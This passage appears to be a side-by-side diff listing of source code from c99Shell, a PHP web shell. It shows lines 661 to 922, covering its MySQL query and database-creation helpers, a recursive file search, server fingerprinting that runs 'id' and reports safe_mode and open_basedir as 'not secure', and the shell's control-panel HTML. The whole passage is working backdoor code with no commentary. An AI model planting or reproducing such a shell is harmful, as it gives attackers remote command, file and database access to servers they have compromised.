| 661 | } | 661 | } |
| 662 | } | 662 | } |
| 663 | if (!function_exists("mysql_fetch_all")) | 663 | if (!function_exists("mysql_fetch_all")) |
| 664 | { | 664 | { |
| 665 | function mysql_fetch_all($query,$sock) | 665 | function mysql_fetch_all($query,$sock) |
| 666 | { | 666 | { |
| 667 | if ($sock) {$result = mysql_query($query,$sock);} | 667 | if ($sock) {$result = mysql_query($query,$sock);} |
| 668 | else {$result = mysql_query($query);} | 668 | else {$result = mysql_query($query);} |
| 669 | $array = array(); | 669 | $array = array(); |
| 670 | while ($row = mysql_fetch_array($result)) {$array[] = $row;} | 670 | while ($row = mysql_fetch_array($result)) {$array[] = $row;} |
| 671 | mysql_free_result($result); | 671 | mysql_free_result($result); |
| 672 | return $array; | 672 | return $array; |
| 673 | } | 673 | } |
| 674 | } | 674 | } |
| 675 | if (!function_exists("mysql_smarterror")) | 675 | if (!function_exists("mysql_smarterror")) |
| 676 | { | 676 | { |
| 677 | function mysql_smarterror($type,$sock) | 677 | function mysql_smarterror($type,$sock) |
| 678 | { | 678 | { |
| 679 | if ($sock) {$error = mysql_error($sock);} | 679 | if ($sock) {$error = mysql_error($sock);} |
| 680 | else {$error = mysql_error();} | 680 | else {$error = mysql_error();} |
| 681 | $error = htmlspecialchars($error); | 681 | $error = htmlspecialchars($error); |
| 682 | return $error; | 682 | return $error; |
| 683 | } | 683 | } |
| 684 | } | 684 | } |
| 685 | if (!function_exists("mysql_query_form")) | 685 | if (!function_exists("mysql_query_form")) |
| 686 | { | 686 | { |
| 687 | function mysql_query_form() | 687 | function mysql_query_form() |
| 688 | { | 688 | { |
| 689 | global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; | 689 | global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; |
| 690 | if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} | 690 | if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} |
| 691 | if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} | 691 | if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} |
| 692 | if ((!$submit) or ($sql_act)) | 692 | if ((!$submit) or ($sql_act)) |
| 693 | { | 693 | { |
| 694 | echo "<table border=0><tr><td><form name=\"c999sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>"; | 694 | echo "<table border=0><tr><td><form name=\"c999sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>"; |
| 695 | if ($tbl_struct) | 695 | if ($tbl_struct) |
| 696 | { | 696 | { |
| 697 | echo "<td valign=\"top\"><b>Fields:</b><br>"; | 697 | echo "<td valign=\"top\"><b>Fields:</b><br>"; |
| 698 | foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» <a href=\"#\" onclick=\"document.c999sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} | 698 | foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» <a href=\"#\" onclick=\"document.c999sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} |
| 699 | echo "</td></tr></table>"; | 699 | echo "</td></tr></table>"; |
| 700 | } | 700 | } |
| 701 | } | 701 | } |
| 702 | if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} | 702 | if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} |
| 703 | } | 703 | } |
| 704 | } | 704 | } |
| 705 | if (!function_exists("mysql_create_db")) | 705 | if (!function_exists("mysql_create_db")) |
| 706 | { | 706 | { |
| 707 | function mysql_create_db($db,$sock="") | 707 | function mysql_create_db($db,$sock="") |
| 708 | { | 708 | { |
| 709 | $sql = "CREATE DATABASE `".addslashes($db)."`;"; | 709 | $sql = "CREATE DATABASE `".addslashes($db)."`;"; |
| 710 | if ($sock) {return mysql_query($sql,$sock);} | 710 | if ($sock) {return mysql_query($sql,$sock);} |
| 711 | else {return mysql_query($sql);} | 711 | else {return mysql_query($sql);} |
| 712 | } | 712 | } |
| 713 | } | 713 | } |
| 714 | if (!function_exists("mysql_query_parse")) | 714 | if (!function_exists("mysql_query_parse")) |
| 715 | { | 715 | { |
| 716 | function mysql_query_parse($query) | 716 | function mysql_query_parse($query) |
| 717 | { | 717 | { |
| 718 | $query = trim($query); | 718 | $query = trim($query); |
| 719 | $arr = explode (" ",$query); | 719 | $arr = explode (" ",$query); |
| 720 | /*array array() | 720 | /*array array() |
| 721 | { | 721 | { |
| 722 | "METHOD"=>array(output_type), | 722 | "METHOD"=>array(output_type), |
| 723 | "METHOD1"... | 723 | "METHOD1"... |
| 724 | ... | 724 | ... |
| 725 | } | 725 | } |
| 726 | if output_type == 0, no output, | 726 | if output_type == 0, no output, |
| 727 | if output_type == 1, no output if no error | 727 | if output_type == 1, no output if no error |
| 728 | if output_type == 2, output without control-buttons | 728 | if output_type == 2, output without control-buttons |
| 729 | if output_type == 3, output with control-buttons | 729 | if output_type == 3, output with control-buttons |
| 730 | */ | 730 | */ |
| 731 | $types = array( | 731 | $types = array( |
| 732 | "SELECT"=>array(3,1), | 732 | "SELECT"=>array(3,1), |
| 733 | "SHOW"=>array(2,1), | 733 | "SHOW"=>array(2,1), |
| 734 | "DELETE"=>array(1), | 734 | "DELETE"=>array(1), |
| 735 | "DROP"=>array(1) | 735 | "DROP"=>array(1) |
| 736 | ); | 736 | ); |
| 737 | $result = array(); | 737 | $result = array(); |
| 738 | $op = strtoupper($arr[0]); | 738 | $op = strtoupper($arr[0]); |
| 739 | if (is_array($types[$op])) | 739 | if (is_array($types[$op])) |
| 740 | { | 740 | { |
| 741 | $result["propertions"] = $types[$op]; | 741 | $result["propertions"] = $types[$op]; |
| 742 | $result["query"] = $query; | 742 | $result["query"] = $query; |
| 743 | if ($types[$op] == 2) | 743 | if ($types[$op] == 2) |
| 744 | { | 744 | { |
| 745 | foreach($arr as $k=>$v) | 745 | foreach($arr as $k=>$v) |
| 746 | { | 746 | { |
| 747 | if (strtoupper($v) == "LIMIT") | 747 | if (strtoupper($v) == "LIMIT") |
| 748 | { | 748 | { |
| 749 | $result["limit"] = $arr[$k+1]; | 749 | $result["limit"] = $arr[$k+1]; |
| 750 | $result["limit"] = explode(",",$result["limit"]); | 750 | $result["limit"] = explode(",",$result["limit"]); |
| 751 | if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} | 751 | if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} |
| 752 | unset($arr[$k],$arr[$k+1]); | 752 | unset($arr[$k],$arr[$k+1]); |
| 753 | } | 753 | } |
| 754 | } | 754 | } |
| 755 | } | 755 | } |
| 756 | } | 756 | } |
| 757 | else {return FALSE;} | 757 | else {return FALSE;} |
| 758 | } | 758 | } |
| 759 | } | 759 | } |
| 760 | if (!function_exists("c999fsearch")) | 760 | if (!function_exists("c999fsearch")) |
| 761 | { | 761 | { |
| 762 | function c999fsearch($d) | 762 | function c999fsearch($d) |
| 763 | { | 763 | { |
| 764 | global $found; | 764 | global $found; |
| 765 | global $found_d; | 765 | global $found_d; |
| 766 | global $found_f; | 766 | global $found_f; |
| 767 | global $search_i_f; | 767 | global $search_i_f; |
| 768 | global $search_i_d; | 768 | global $search_i_d; |
| 769 | global $a; | 769 | global $a; |
| 770 | if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} | 770 | if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} |
| 771 | $h = opendir($d); | 771 | $h = opendir($d); |
| 772 | while (($f = readdir($h)) !== FALSE) | 772 | while (($f = readdir($h)) !== FALSE) |
| 773 | { | 773 | { |
| 774 | if($f != "." && $f != "..") | 774 | if($f != "." && $f != "..") |
| 775 | { | 775 | { |
| 776 | $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); | 776 | $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); |
| 777 | if (is_dir($d.$f)) | 777 | if (is_dir($d.$f)) |
| 778 | { | 778 | { |
| 779 | $search_i_d++; | 779 | $search_i_d++; |
| 780 | if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} | 780 | if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} |
| 781 | if (!is_link($d.$f)) {c999fsearch($d.$f);} | 781 | if (!is_link($d.$f)) {c999fsearch($d.$f);} |
| 782 | } | 782 | } |
| 783 | else | 783 | else |
| 784 | { | 784 | { |
| 785 | $search_i_f++; | 785 | $search_i_f++; |
| 786 | if ($bool) | 786 | if ($bool) |
| 787 | { | 787 | { |
| 788 | if (!empty($a["text"])) | 788 | if (!empty($a["text"])) |
| 789 | { | 789 | { |
| 790 | $r = @file_get_contents($d.$f); | 790 | $r = @file_get_contents($d.$f); |
| 791 | if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} | 791 | if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} |
| 792 | if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} | 792 | if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} |
| 793 | if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} | 793 | if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} |
| 794 | else {$bool = strpos(" ".$r,$a["text"],1);} | 794 | else {$bool = strpos(" ".$r,$a["text"],1);} |
| 795 | if ($a["text_not"]) {$bool = !$bool;} | 795 | if ($a["text_not"]) {$bool = !$bool;} |
| 796 | if ($bool) {$found[] = $d.$f; $found_f++;} | 796 | if ($bool) {$found[] = $d.$f; $found_f++;} |
| 797 | } | 797 | } |
| 798 | else {$found[] = $d.$f; $found_f++;} | 798 | else {$found[] = $d.$f; $found_f++;} |
| 799 | } | 799 | } |
| 800 | } | 800 | } |
| 801 | } | 801 | } |
| 802 | } | 802 | } |
| 803 | closedir($h); | 803 | closedir($h); |
| 804 | } | 804 | } |
| 805 | } | 805 | } |
| 806 | if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} | 806 | if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} |
| 807 | //Sending headers | 807 | //Sending headers |
| 808 | @ob_start(); | 808 | @ob_start(); |
| 809 | @ob_implicit_flush(0); | 809 | @ob_implicit_flush(0); |
| 810 | function onphpshutdown() | 810 | function onphpshutdown() |
| 811 | { | 811 | { |
| 812 | global $gzipencode,$ft; | 812 | global $gzipencode,$ft; |
| 813 | if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) | 813 | if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) |
| 814 | { | 814 | { |
| 815 | $v = @ob_get_contents(); | 815 | $v = @ob_get_contents(); |
| 816 | @ob_end_clean(); | 816 | @ob_end_clean(); |
| 817 | @ob_start("ob_gzHandler"); | 817 | @ob_start("ob_gzHandler"); |
| 818 | echo $v; | 818 | echo $v; |
| 819 | @ob_end_flush(); | 819 | @ob_end_flush(); |
| 820 | } | 820 | } |
| 821 | } | 821 | } |
| 822 | function c999shexit() | 822 | function c999shexit() |
| 823 | { | 823 | { |
| 824 | onphpshutdown(); | 824 | onphpshutdown(); |
| 825 | exit; | 825 | exit; |
| 826 | } | 826 | } |
| 827 | header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); | 827 | header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); |
| 828 | header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); | 828 | header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); |
| 829 | header("Cache-Control: no-store, no-cache, must-revalidate"); | 829 | header("Cache-Control: no-store, no-cache, must-revalidate"); |
| 830 | header("Cache-Control: post-check=0, pre-check=0", FALSE); | 830 | header("Cache-Control: post-check=0, pre-check=0", FALSE); |
| 831 | header("Pragma: no-cache"); | 831 | header("Pragma: no-cache"); |
| 832 | if (empty($tmpdir)) | 832 | if (empty($tmpdir)) |
| 833 | { | 833 | { |
| 834 | $tmpdir = ini_get("upload_tmp_dir"); | 834 | $tmpdir = ini_get("upload_tmp_dir"); |
| 835 | if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} | 835 | if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} |
| 836 | } | 836 | } |
| 837 | $tmpdir = realpath($tmpdir); | 837 | $tmpdir = realpath($tmpdir); |
| 838 | $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); | 838 | $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); |
| 839 | if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} | 839 | if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} |
| 840 | if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} | 840 | if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} |
| 841 | else {$tmpdir_logs = realpath($tmpdir_logs);} | 841 | else {$tmpdir_logs = realpath($tmpdir_logs);} |
| 842 | if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") | 842 | if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") |
| 843 | { | 843 | { |
| 844 | $safemode = TRUE; | 844 | $safemode = TRUE; |
| 845 | $hsafemode = "<font color=red>ON (secure)</font>"; | 845 | $hsafemode = "<font color=red>ON (secure)</font>"; |
| 846 | } | 846 | } |
| 847 | else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";} | 847 | else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";} |
| 848 | $v = @ini_get("open_basedir"); | 848 | $v = @ini_get("open_basedir"); |
| 849 | if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";} | 849 | if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";} |
| 850 | else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";} | 850 | else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";} |
| 851 | $sort = htmlspecialchars($sort); | 851 | $sort = htmlspecialchars($sort); |
| 852 | if (empty($sort)) {$sort = $sort_default;} | 852 | if (empty($sort)) {$sort = $sort_default;} |
| 853 | $sort[1] = strtolower($sort[1]); | 853 | $sort[1] = strtolower($sort[1]); |
| 854 | $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); | 854 | $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); |
| 855 | if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} | 855 | if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} |
| 856 | $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); | 856 | $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); |
| 857 | @ini_set("highlight.bg",$highlight_bg); //FFFFFF | 857 | @ini_set("highlight.bg",$highlight_bg); //FFFFFF |
| 858 | @ini_set("highlight.comment",$highlight_comment); //#FF8000 | 858 | @ini_set("highlight.comment",$highlight_comment); //#FF8000 |
| 859 | @ini_set("highlight.default",$highlight_default); //#0000BB | 859 | @ini_set("highlight.default",$highlight_default); //#0000BB |
| 860 | @ini_set("highlight.html",$highlight_html); //#000000 | 860 | @ini_set("highlight.html",$highlight_html); //#000000 |
| 861 | @ini_set("highlight.keyword",$highlight_keyword); //#007700 | 861 | @ini_set("highlight.keyword",$highlight_keyword); //#007700 |
| 862 | @ini_set("highlight.string",$highlight_string); //#DD0000 | 862 | @ini_set("highlight.string",$highlight_string); //#DD0000 |
| 863 | if (!is_array($actbox)) {$actbox = array();} | 863 | if (!is_array($actbox)) {$actbox = array();} |
| 864 | $dspact = $act = htmlspecialchars($act); | 864 | $dspact = $act = htmlspecialchars($act); |
| 865 | $disp_fullpath = $ls_arr = $notls = null; | 865 | $disp_fullpath = $ls_arr = $notls = null; |
| 866 | $ud = urlencode($d); | 866 | $ud = urlencode($d); |
| 867 | ?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - phpshell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>c99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software: <?php echo $DISP_SERVER_SOFTWARE; ?></b> </p><p align="left"><b>uname -a: <?php echo wordwrap(php_uname(),90,"<br>",1); ?></b> </p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b> </p><p align="left"><b>Safe-mode: <?php echo $hsafemode; ?></b></p><p align="left"><?php | 867 | ?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - phpshell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>c99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software: <?php echo $DISP_SERVER_SOFTWARE; ?></b> </p><p align="left"><b>uname -a: <?php echo wordwrap(php_uname(),90,"<br>",1); ?></b> </p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b> </p><p align="left"><b>Safe-mode: <?php echo $hsafemode; ?></b></p><p align="left"><?php |
| 868 | $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); | 868 | $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); |
| 869 | if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} | 869 | if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} |
| 870 | $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); | 870 | $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); |
| 871 | if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} | 871 | if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} |
| 872 | $d = str_replace("\\\\","\\",$d); | 872 | $d = str_replace("\\\\","\\",$d); |
| 873 | $dispd = htmlspecialchars($d); | 873 | $dispd = htmlspecialchars($d); |
| 874 | $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); | 874 | $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); |
| 875 | $i = 0; | 875 | $i = 0; |
| 876 | foreach($pd as $b) | 876 | foreach($pd as $b) |
| 877 | { | 877 | { |
| 878 | $t = ""; | 878 | $t = ""; |
| 879 | $j = 0; | 879 | $j = 0; |
| 880 | foreach ($e as $r) | 880 | foreach ($e as $r) |
| 881 | { | 881 | { |
| 882 | $t.= $r.DIRECTORY_SEPARATOR; | 882 | $t.= $r.DIRECTORY_SEPARATOR; |
| 883 | if ($j == $i) {break;} | 883 | if ($j == $i) {break;} |
| 884 | $j++; | 884 | $j++; |
| 885 | } | 885 | } |
| 886 | echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; | 886 | echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; |
| 887 | $i++; | 887 | $i++; |
| 888 | } | 888 | } |
| 889 | echo " "; | 889 | echo " "; |
| 890 | if (is_writable($d)) | 890 | if (is_writable($d)) |
| 891 | { | 891 | { |
| 892 | $wd = TRUE; | 892 | $wd = TRUE; |
| 893 | $wdt = "<font color=green>[ ok ]</font>"; | 893 | $wdt = "<font color=green>[ ok ]</font>"; |
| 894 | echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; | 894 | echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; |
| 895 | } | 895 | } |
| 896 | else | 896 | else |
| 897 | { | 897 | { |
| 898 | $wd = FALSE; | 898 | $wd = FALSE; |
| 899 | $wdt = "<font color=red>[ Read-Only ]</font>"; | 899 | $wdt = "<font color=red>[ Read-Only ]</font>"; |
| 900 | echo "<b>".view_perms_color($d)."</b>"; | 900 | echo "<b>".view_perms_color($d)."</b>"; |
| 901 | } | 901 | } |
| 902 | if (is_callable("disk_free_space")) | 902 | if (is_callable("disk_free_space")) |
| 903 | { | 903 | { |
| 904 | $free = disk_free_space($d); | 904 | $free = disk_free_space($d); |
| 905 | $total = disk_total_space($d); | 905 | $total = disk_total_space($d); |
| 906 | if ($free === FALSE) {$free = 0;} | 906 | if ($free === FALSE) {$free = 0;} |
| 907 | if ($total === FALSE) {$total = 0;} | 907 | if ($total === FALSE) {$total = 0;} |
| 908 | if ($free < 0) {$free = 0;} | 908 | if ($free < 0) {$free = 0;} |
| 909 | if ($total < 0) {$total = 0;} | 909 | if ($total < 0) {$total = 0;} |
| 910 | $used = $total-$free; | 910 | $used = $total-$free; |
| 911 | $free_percent = round(100/($total/$free),2); | 911 | $free_percent = round(100/($total/$free),2); |
| 912 | echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; | 912 | echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; |
| 913 | } | 913 | } |
| 914 | echo "<br>"; | 914 | echo "<br>"; |
| 915 | $letters = ""; | 915 | $letters = ""; |
| 916 | if ($win) | 916 | if ($win) |
| 917 | { | 917 | { |
| 918 | $v = explode("\\",$d); | 918 | $v = explode("\\",$d); |
| 919 | $v = $v[0]; | 919 | $v = $v[0]; |
| 920 | foreach (range("a","z") as $letter) | 920 | foreach (range("a","z") as $letter) |
| 921 | { | 921 | { |
| 922 | $bool = $isdiskette = in_array($letter,$safemode_diskettes); | 922 | $bool = $isdiskette = in_array($letter,$safemode_diskettes); |
